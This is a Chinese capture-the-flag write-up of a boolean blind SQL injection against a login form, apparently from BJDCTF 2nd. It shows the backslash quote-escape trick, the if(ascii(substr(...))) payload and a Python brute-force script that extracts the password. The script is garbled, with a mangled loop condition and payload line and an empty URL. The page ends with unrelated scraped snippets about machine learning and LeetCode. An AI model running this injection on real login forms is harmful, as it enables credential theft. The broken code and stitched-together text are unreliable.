刷題 BJDCTF 2nd 簡單注入

2022-05-19 12:40:39 字數 1767 閱讀 9050

開啟發現登陸框,隨機輸入一些,發現有waf,然後回顯都是同樣的字串。fuzz一波,發現禁了挺多東西的。

select union 等

這裡猜測是布林盲注,錯誤的話顯示的是:you konw ,p3rh4ps needs a girl friend

但是不管傳入什麼都回顯這個,這裡想是否有其他資訊,我這種菜雞還不會直接根據測試,猜測出sql語句。

robots.txt中發現hint,開啟hint.php,發現sql語句。太好了

select * from users where username='$_post["username"]' and password='$_post["password"]'

這裡傳入的username和password都被單引號包裹,這裡需要閉合單引號 ,閉合 ' $_post["username"] and password=' 。即直接是:

'$_post["username"] and password= '

$_post["password"]'

這樣就可以在password中傳入查詢語句。

在username處傳入 admin\ ,

or沒被禁,等於號被禁,

所以password傳入or if(ascii(substr(password,1,1))>1,1,0)

第乙個$符號裡面的是偏移量,即確定password的每一位,第二個$符號裡面的是當前password位的具體ascii碼

意思是有12位,那打擾了。手動太累了,還是學寫exp把

import requests

import time

url = ""

payload =

result = ""

for i in range(1,30):

low = 32

high =128

mid = (high+low)//2

while(low{},1,0)#".format(i,mid)

html = requests.post(url,data=payload)

print(low,high,mid,":")

print(payload)

if "stronger" in html.text:

low = mid+1

else:

high = mid

mid = (high+low)//2

if(low == 32 or high ==128):

break

result = result + chr(mid)

print(result)

print("flag: " ,result)

我人傻了,一開始寫,一直不進行下去。最後修改發現問題是我把#符號,寫成%23了。導致壓根沒有起作用,我納悶半天。這也是乙個坑點,python指令碼不需要url編碼

跑出來密碼了,直接賬號密碼登陸,獲得flag

演算法刷題(2)

題目一 對應gradientboosting tree演算法,以下說法正確的是 1.當增加最小樣本 個數,我們可以抵制過擬合 2.當增加最小樣本 個數,會導致過擬合 3.當我們減少訓練單個學習器的樣本個數,我們可以降低variance 4.當我們減少訓練單個學習器的樣本個數,我們可以降低bias a...

刷題總結(2)

1.成員變數可以不用初始化,系統預設給值,區域性變數必須初始化 靜態final成員變數無預設值,必須初始化,並且由final修飾的只能賦值一次 2.100 3 1 100 3.0 1.0 3.取餘 rem 3,2 1 取模 mod 3,2 1 rem結果與被除數相同,mod結果與除數相同 4.mat...

leetcode刷題指北(2)

9.回文數 判斷乙個整數是否是回文數。回文數是指正序 從左向右 和倒序 從右向左 讀都是一樣的整數。示例 1 輸入 121 輸出 true 思路一 第一反應轉為字串,遍歷字串首尾是否相等。class solution return true 也可以使用字串反轉比較 class solution el...